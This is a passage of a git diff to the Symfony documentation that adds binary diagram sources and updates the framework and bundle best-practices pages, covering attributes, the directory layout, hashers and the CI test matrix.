z>2EWkiHW+N35_8S0`edr4+8Qa-Y^f&cH2pW#>&&6OZczTpgRqJsSdjc{s^grKd>HH
z53KJ3>%Df8p0V<j=aTjA6*&4*9R`j*z#rfb@NWnHEuDCQG@N*Wc22yoyMN*Zf)g*m
z0IY@Z(U6ZUFaTfxv>O1wg?uOVN1nQyBadwF8jd`5;mA`k05Agp1Mo&i9%1>w&*Eo0
zt&0OV&RyZB)Wx@VmT6OBQ>SqM5yDjX&Q?dx7BMDb<Qt1H4w40&F{0~m{$u5YBSyM@
zHa|u!FiZX6%y@e^Gr5MtnK2yB44x`@s^F=r_Ec*EU$J~NKhY6pO*UcHL{FGCIV;SX
zK$vwiZIch`ca?`(yW22pS5ug^dpgY8g)r*|({Iv_nyEh3)7d-K)9c!)p2&e2x2{t?
zT{zYA3a8vo3yHhxe-DFhe-FdIhTp@W@Ov0A<%TIYOu64aIsm)v7yzss|7C2je+{w0
z6k>w`{s4b~|C_^KJ~71Cu;J!!Hr$AH4I6GgY`B2|00RI9K-vJTK1XcH)5n|D2k~c|
QvgzZ^e}s1x_UWns01%r;Gynhq

literal 0
HcmV?d00001

diff --git a/_images/sources/rate_limiter/token_bucket.dia b/_images/sources/rate_limiter/token_bucket.dia
new file mode 100644
index 0000000000000000000000000000000000000000..16761971337dbf6890ce0d2255b6d7c75bb125ca
GIT binary patch
literal 2752
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

literal 0
HcmV?d00001

diff --git a/_images/sources/security/security_events.dia b/_images/sources/security/security_events.dia
new file mode 100644
index 0000000000000000000000000000000000000000..0a8afa731799dc14758903a9bfb42fba53ab2002
GIT binary patch
literal 2566
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

literal 0
HcmV?d00001

diff --git a/_includes/service_container/_my_mailer.rst.inc b/_includes/service_container/_my_mailer.rst.inc
deleted file mode 100644
index 01eafdfe87a..00000000000
--- a/_includes/service_container/_my_mailer.rst.inc
+++ /dev/null
@@ -1,33 +0,0 @@
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            app.mailer:
-                class:        App\Mailer
-                arguments:    [sendmail]
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="app.mailer" class="App\Mailer">
-                    <argument>sendmail</argument>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Mailer;
-
-        $container->register('app.mailer', Mailer::class)
-            ->addArgument('sendmail');
diff --git a/best_practices.rst b/best_practices.rst
index f43d4798452..5220d78e70b 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -130,7 +130,7 @@ Use Constants to Define Options that Rarely Change
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Configuration options like the number of items to display in some listing rarely
-change. Instead of defining them as :ref:`service container parameters <configuration-parameters>`,
+change. Instead of defining them as :ref:`configuration parameters <configuration-parameters>`,
 define them as PHP constants in the related classes. Example::
 
     // src/Entity/Post.php
@@ -170,7 +170,7 @@ Use Autowiring to Automate the Configuration of Application Services
 
 :doc:`Service autowiring </service_container/autowiring>` is a feature that
 reads the type-hints on your constructor (or other methods) and automatically
-passes the correct services to each method, making unnecessary to configure
+passes the correct services to each method, making it unnecessary to configure
 services explicitly and simplifying the application maintenance.
 
 Use it in combination with :ref:`service autoconfiguration <services-autoconfigure>`
@@ -194,17 +194,20 @@ you'll need to configure services (or parts of them) manually.
 YAML is the format recommended to configure services because it's friendly to
 newcomers and concise, but Symfony also supports XML and PHP configuration.
 
-Use Annotations to Define the Doctrine Entity Mapping
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Use Attributes to Define the Doctrine Entity Mapping
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Doctrine entities are plain PHP objects that you store in some "database".
 Doctrine only knows about your entities through the mapping metadata configured
 for your model classes.
 
-Doctrine supports several metadata formats, but it's recommended to use
-annotations because they are by far the most convenient and agile way of setting
+Doctrine supports several metadata formats, but it's recommended to use PHP
+attributes because they are by far the most convenient and agile way of setting
 up and looking for mapping information.
 
+If your PHP version doesn't support attributes yet, use annotations, which is
+similar but requires installing some extra dependencies in your project.
+
 Controllers
 -----------
 
@@ -244,7 +247,7 @@ Use Dependency Injection to Get Services
 
 If you extend the base ``AbstractController``, you can only access to the most
 common services (e.g ``twig``, ``router``, ``doctrine``, etc.), directly from the
-container via ``$this->container->get()`` or ``$this->get()``.
+container via ``$this->container->get()``.
 Instead, you must use dependency injection to fetch services by
 :ref:`type-hinting action method arguments <controller-accessing-services>` or
 constructor arguments.
@@ -321,6 +324,8 @@ are two of the main tasks when handling forms. Both are too similar (most of the
 times, almost identical), so it's much simpler to let a single controller action
 handle both.
 
+.. _best-practice-internationalization:
+
 Internationalization
 --------------------
 
@@ -366,7 +371,7 @@ Use the ``auto`` Password Hasher
 
 The :ref:`auto password hasher <reference-security-encoder-auto>` automatically
 selects the best possible encoder/hasher depending on your PHP installation.
-Currently, it tries to use ``sodium`` by default and falls back to ``bcrypt``.
+Starting from Symfony 5.3, the default auto hasher is ``bcrypt``.
 
 Use Voters to Implement Fine-grained Security Restrictions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -398,8 +403,8 @@ Smoke Test your URLs
 
 In software engineering, `smoke testing`_ consists of *"preliminary testing to
 reveal simple failures severe enough to reject a prospective software release"*.
-Using :ref:`PHPUnit data providers <testing-data-providers>` you can define a
-functional test that checks that all application URLs load successfully::
+Using `PHPUnit data providers`_ you can define a functional test that
+checks that all application URLs load successfully::
 
     // tests/ApplicationAvailabilityFunctionalTest.php
     namespace App\Tests;
@@ -453,3 +458,4 @@ you must set up a redirection.
 .. _`feature toggles`: https://en.wikipedia.org/wiki/Feature_toggle
 .. _`smoke testing`: https://en.wikipedia.org/wiki/Smoke_testing_(software)
 .. _`Webpack`: https://webpack.js.org/
+.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html#data-providers
diff --git a/bundles.rst b/bundles.rst
index bf5a144d4ce..ed194614c34 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -28,7 +28,6 @@ file::
         Symfony\Bundle\SecurityBundle\SecurityBundle::class => ['all' => true],
         Symfony\Bundle\TwigBundle\TwigBundle::class => ['all' => true],
         Symfony\Bundle\MonologBundle\MonologBundle::class => ['all' => true],
-        Symfony\Bundle\SwiftmailerBundle\SwiftmailerBundle::class => ['all' => true],
         Doctrine\Bundle\DoctrineBundle\DoctrineBundle::class => ['all' => true],
         Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle::class => ['all' => true],
         // this bundle is enabled only in 'dev' and 'test', so you can't use it in 'prod'
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index e80050e2fce..dec1e907ca7 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -22,8 +22,9 @@ interoperability standard for PHP namespaces and class names: it starts with a
 vendor segment, followed by zero or more category segments, and it ends with the
 namespace short name, which must end with ``Bundle``.
 
-A namespace becomes a bundle as soon as you add a bundle class to it. The
-bundle class name must follow these rules:
+A namespace becomes a bundle as soon as you add "a bundle class" to it (which is
+a class that extends :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle`).
+The bundle class name must follow these rules:
 
 * Use only alphanumeric characters and underscores;
 * Use a StudlyCaps name (i.e. camelCase with an uppercase first letter);
@@ -63,35 +64,47 @@ configuration options (see below for some usage examples).
 Directory Structure
 -------------------
 
-The basic directory structure of an AcmeBlogBundle must read as follows:
+The following is the recommended directory structure of an AcmeBlogBundle:
 
 .. code-block:: text
 
     <your-bundle>/
-    ├─ AcmeBlogBundle.php
-    ├─ Controller/
-    ├─ README.md
-    ├─ LICENSE
-    ├─ Resources/
-    │   ├─ config/
-    │   ├─ doc/
-    │   │  └─ index.rst
-    │   ├─ translations/
-    │   ├─ views/
-    │   └─ public/
-    └─ Tests/
+    ├── config/
+    ├── docs/
+    │   └─ index.md
+    ├── public/
+    ├── src/
+    │   ├── Controller/
+    │   ├── DependencyInjection/
+    │   └── AcmeBlogBundle.php
+    ├── templates/
+    ├── tests/
+    ├── translations/
+    ├── LICENSE
+    └── README.md
+
+This directory structure requires to configure the bundle path to its root
+directory as follows::
+
+    class AcmeBlogBundle extends Bundle
+    {
+        public function getPath(): string
+        {
+            return \dirname(__DIR__);
+        }
+    }
 
 **The following files are mandatory**, because they ensure a structure convention
 that automated tools can rely on:
 
-* ``AcmeBlogBundle.php``: This is the class that transforms a plain directory
+* ``src/AcmeBlogBundle.php``: This is the class that transforms a plain directory
   into a Symfony bundle (change this to your bundle's name);
 * ``README.md``: This file contains the basic description of the bundle and it
   usually shows some basic examples and links to its full documentation (it
   can use any of the markup formats supported by GitHub, such as ``README.rst``);
 * ``LICENSE``: The full contents of the license used by the code. Most third-party
   bundles are published under the MIT license, but you can `choose any license`_;
-* ``Resources/doc/index.rst``: The root file for the Bundle documentation.
+* ``docs/index.md``: The root file for the Bundle documentation.
 
 The depth of subdirectories should be kept to a minimum for the most used
 classes and files. Two levels is the maximum.
@@ -107,19 +120,19 @@ and others are just conventions followed by most developers):
 ===================================================  ========================================
 Type                                                 Directory
 ===================================================  ========================================
-Commands                                             ``Command/``
-Controllers                                          ``Controller/``
-Service Container Extensions                         ``DependencyInjection/``
-Doctrine ORM entities (when not using annotations)   ``Entity/``
-Doctrine ODM documents (when not using annotations)  ``Document/``
-Event Listeners                                      ``EventListener/``
-Configuration (routes, services, etc.)               ``Resources/config/``
-Web Assets (CSS, JS, images)                         ``Resources/public/``
-Translation files                                    ``Resources/translations/``
-Validation (when not using annotations)              ``Resources/config/validation/``
-Serialization (when not using annotations)           ``Resources/config/serialization/``
-Templates                                            ``Resources/views/``
-Unit and Functional Tests                            ``Tests/``
+Commands                                             ``src/Command/``
+Controllers                                          ``src/Controller/``
+Service Container Extensions                         ``src/DependencyInjection/``
+Doctrine ORM entities                                ``src/Entity/``
+Doctrine ODM documents                               ``src/Document/``
+Event Listeners                                      ``src/EventListener/``
+Configuration (routes, services, etc.)               ``config/``
+Web Assets (CSS, JS, images)                         ``public/``
+Translation files                                    ``translations/``
+Validation (when not using annotations)              ``config/validation/``
+Serialization (when not using annotations)           ``config/serialization/``
+Templates                                            ``templates/``
+Unit and Functional Tests                            ``tests/``
 ===================================================  ========================================
 
 Classes
@@ -127,7 +140,7 @@ Classes
 
 The bundle directory structure is used as the namespace hierarchy. For
 instance, a ``ContentController`` controller which is stored in
-``Acme/BlogBundle/Controller/ContentController.php`` would have the fully
+``src/Controller/ContentController.php`` would have the fully
 qualified class name of ``Acme\BlogBundle\Controller\ContentController``.
 
 All classes and files must follow the :doc:`Symfony coding standards </contributing/code/standards>`.
@@ -149,11 +162,20 @@ standard Symfony autoloading instead.
 A bundle should also not embed third-party libraries written in JavaScript,
 CSS or any other language.
 
+Doctrine Entities/Documents
+---------------------------
+
+If the bundle includes Doctrine ORM entities and/or ODM documents, it's
+recommended to define their mapping using XML files stored in
+``Resources/config/doctrine/``. This allows to override that mapping using the
+:doc:`standard Symfony mechanism to override bundle parts </bundles/override>`.
+This is not possible when using annotations/attributes to define the mapping.
+
 Tests
 -----
 
 A bundle should come with a test suite written with PHPUnit and stored under
-the ``Tests/`` directory. Tests should follow the following principles:
+the ``tests/`` directory. Tests should follow the following principles:
 
 * The test suite must be executable with a simple ``phpunit`` command run from
   a sample application;
@@ -171,73 +193,59 @@ Continuous Integration
 
 Testing bundle code continuously, including all its commits and pull requests,
 is a good practice called Continuous Integration. There are several services
-providing this feature for free for open source projects. The most popular
-service for Symfony bundles is called `Travis CI`_.
-
-Here is the recommended configuration file (``.travis.yml``) for Symfony bundles,
-which test the two latest :doc:`LTS versions </contributing/community/releases>`
-of Symfony and the latest beta release:
-
-.. code-block:: yaml
-
-    language: php
-
-    cache:
-        directories:
-            - $HOME/.composer/cache/files
-            - $HOME/symfony-bridge/.phpunit
-
-    env:
-        global:
-            - PHPUNIT_FLAGS="-v"
-            - SYMFONY_PHPUNIT_DIR="$HOME/symfony-bridge/.phpunit"
-
-    matrix:
-        fast_finish: true
-        include:
-              # Minimum supported dependencies with the latest and oldest PHP version
-            - php: 7.2
-              env: COMPOSER_FLAGS="--prefer-stable --prefer-lowest" SYMFONY_DEPRECATIONS_HELPER="max[self]=0"
-            - php: 7.1
-              env: COMPOSER_FLAGS="--prefer-stable --prefer-lowest" SYMFONY_DEPRECATIONS_HELPER="max[self]=0"
-
-              # Test the latest stable release
-            - php: 7.1
-            - php: 7.2
-              env: COVERAGE=true PHPUNIT_FLAGS="-v --coverage-text"
-
-              # Test LTS versions. This makes sure we do not use Symfony packages with version greater
-              # than 2 or 3 respectively. Read more at https://github.com/symfony/lts
-            - php: 7.2
-              env: DEPENDENCIES="symfony/lts:^2"
-            - php: 7.2
-              env: DEPENDENCIES="symfony/lts:^3"
-
-              # Latest commit to master
-            - php: 7.2
-              env: STABILITY="dev"
-
-        allow_failures:
-              # Dev-master is allowed to fail.
-            - env: STABILITY="dev"
-
-    before_install:
-        - if [[ $COVERAGE != true ]]; then phpenv config-rm xdebug.ini || true; fi
-        - if ! [ -z "$STABILITY" ]; then composer config minimum-stability ${STABILITY}; fi;
-        - if ! [ -v "$DEPENDENCIES" ]; then composer require --no-update ${DEPENDENCIES}; fi;
-
-    install:
-        - composer update ${COMPOSER_FLAGS} --prefer-dist --no-interaction
-        - ./vendor/bin/simple-phpunit install
-
-    script:
-        - composer validate --strict --no-check-lock
-        # simple-phpunit is the PHPUnit wrapper provided by the PHPUnit Bridge component and
-        # it helps with testing legacy code and deprecations (composer require symfony/phpunit-bridge)
-        - ./vendor/bin/simple-phpunit $PHPUNIT_FLAGS
-
-Consider using the `Travis cron`_ tool to make sure your project is built even if
-there are no new pull requests or commits.
+providing this feature for free for open source projects, like `GitHub Actions`_
+and `Travis CI`_.
+
+A bundle should at least test:
+
+* The lower bound of their dependencies (by running ``composer update --prefer-lowest``);
+* The supported PHP versions;
+* All supported major Symfony versions (e.g. both ``4.x`` and ``5.x`` if
+  support is claimed for both).
+
+Thus, a bundle supporting PHP 7.3, 7.4 and 8.0, and Symfony 4.4 and 5.x should
+have at least this test matrix:
+
+===========  ===============  ===================
+PHP version  Symfony version  Composer flags
+===========  ===============  ===================
+7.3          ``4.*``          ``--prefer-lowest``
+7.4          ``5.*``
+8.0          ``5.*``
+===========  ===============  ===================
+
+.. tip::
+
+    The tests should be run with the ``SYMFONY_DEPRECATIONS_HELPER``
+    env variable set to ``max[direct]=0``. This ensures no code in the
+    bundle uses deprecated features directly.
+
+    The lowest dependency tests can be run with this variable set to
+    ``disabled=1``.
+
+Require a Specific Symfony Version
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can use the special ``SYMFONY_REQUIRE`` environment variable together
+with Symfony Flex to install a specific Symfony version:
+
+.. code-block:: bash
+
+    # this requires Symfony 5.x for all Symfony packages
+    export SYMFONY_REQUIRE=5.*
+
+    # install Symfony Flex in the CI environment
+    composer global require --no-progress --no-scripts --no-plugins symfony/flex
+
+    # install the dependencies (using --prefer-dist and --no-progress is
+    # recommended to have a better output and faster download time)
+    composer update --prefer-dist --no-progress
+
+.. caution::
+
+    If you want to cache your Composer dependencies, **do not** cache the
+    ``vendor/`` directory as this has side-effects. Instead cache
+    ``$HOME/.composer/cache/files``.
 
 Installation
 ------------
@@ -254,10 +262,10 @@ Documentation
 
 All classes and functions must come with full PHPDoc.
 
-Extensive documentation should also be provided in the ``Resources/doc/``
+Extensive documentation should also be provided in the ``docs/``
 directory.
-The index file (for example ``Resources/doc/index.rst`` or
-``Resources/doc/index.md``) is the only mandatory file and must be the entry
+The index file (for example ``docs/index.rst`` or
+``docs/index.md``) is the only mandatory file and must be the entry
 point for the documentation. The
 :doc:`reStructuredText (rST) </contributing/documentation/format>` is the format
 used to render the documentation on the Symfony website.
